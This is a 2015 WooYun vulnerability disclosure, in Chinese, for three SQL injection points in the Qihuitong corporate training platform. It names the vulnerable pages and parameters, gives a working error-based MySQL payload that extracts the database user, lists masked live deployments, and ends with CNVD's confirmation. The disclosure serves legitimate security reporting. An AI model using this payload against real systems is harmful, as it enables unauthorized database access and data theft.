当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0129326

漏洞标题：企慧通培训系统注入漏洞打包

相关厂商：深圳市标驰信息技术有限公司

漏洞作者： 路人甲

提交时间：2015-08-01 10:26

修复时间：2015-10-29 15:50

公开时间：2015-10-29 15:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-01： 细节已通知厂商并且等待厂商处理中
2015-07-31： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-08-03： 细节向第三方安全合作伙伴开放
2015-09-24： 细节向核心白帽子及相关领域专家公开
2015-10-04： 细节向普通白帽子公开
2015-10-14： 细节向实习白帽子公开
2015-10-29： 细节向公众公开

简要描述：

详细说明：

这个的系统漏洞就少了吧；最后三处Mysql注入打包了！官方案例也是杠杠的
厂商：深圳市标驰信息技术有限公司
　企慧通网络教育培训平台是一套面向企业、学校、培训机构推出的学习管理、知识管理的互动网络学习系统。系统采用当前最为流行的.net技术，结合行内远程教育数字化标准、以及独创专用的用户体现技术。同时结合多点网络多媒体视音频互动的特色，能够实现远程视/音频培训、学习、交流互动。具备用户管理、课程管理、部门管理、计划管理、网络学堂、互动交流、在线考试、费用管理、系统管理以及分析统计等全面的学习及管理功能；平台不仅支持符合国际标准SCROM的课件，而且提供方便的课件制作及打包工具，帮助企业快速的制作专业课件。
SQL Injection:

1、/Department/addSection.aspx  bgCName参数存在注入
2、/User/uMood.aspx  bgMode参数参数存在注入
3、/SysAdmin/aRegisAdmin.aspx?type=regisAdmin&clientid=adminName&adminName=admin   adminName参数存在注入


测试通用Payload:

' AND (SELECT 2757 FROM(SELECT COUNT(*),CONCAT(0x7c,(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,50)),0x7c,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Sixy'='Sixy


Case:

http://**.**.**.**/  官方demo
**.**.**.**/  
http://**.**.**.**:8088/
http://**.**.**.**/
**.**.**.**:800/
**.**.**.**:82
等等...

漏洞证明：

Security Testing:
注意：请禁用Javascript脚本之后进行测试！

第一处：/Department/addSection.aspx 
填上Payload，不够长度自己F12修改
01.png







02.png




第二处：/User/uMood.aspx



03.png







04.png




第三处：/SysAdmin/aRegisAdmin.aspx?type=regisAdmin&clientid=adminName&adminName=admin  



05.png

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-07-31 15:49

厂商回复：

CNVD确认所述情况，已由CNVD通过软件生产厂商公开联系渠道向其邮件通报，由其后续提供解决方案并协调相关用户单位处置。

最新状态：

暂无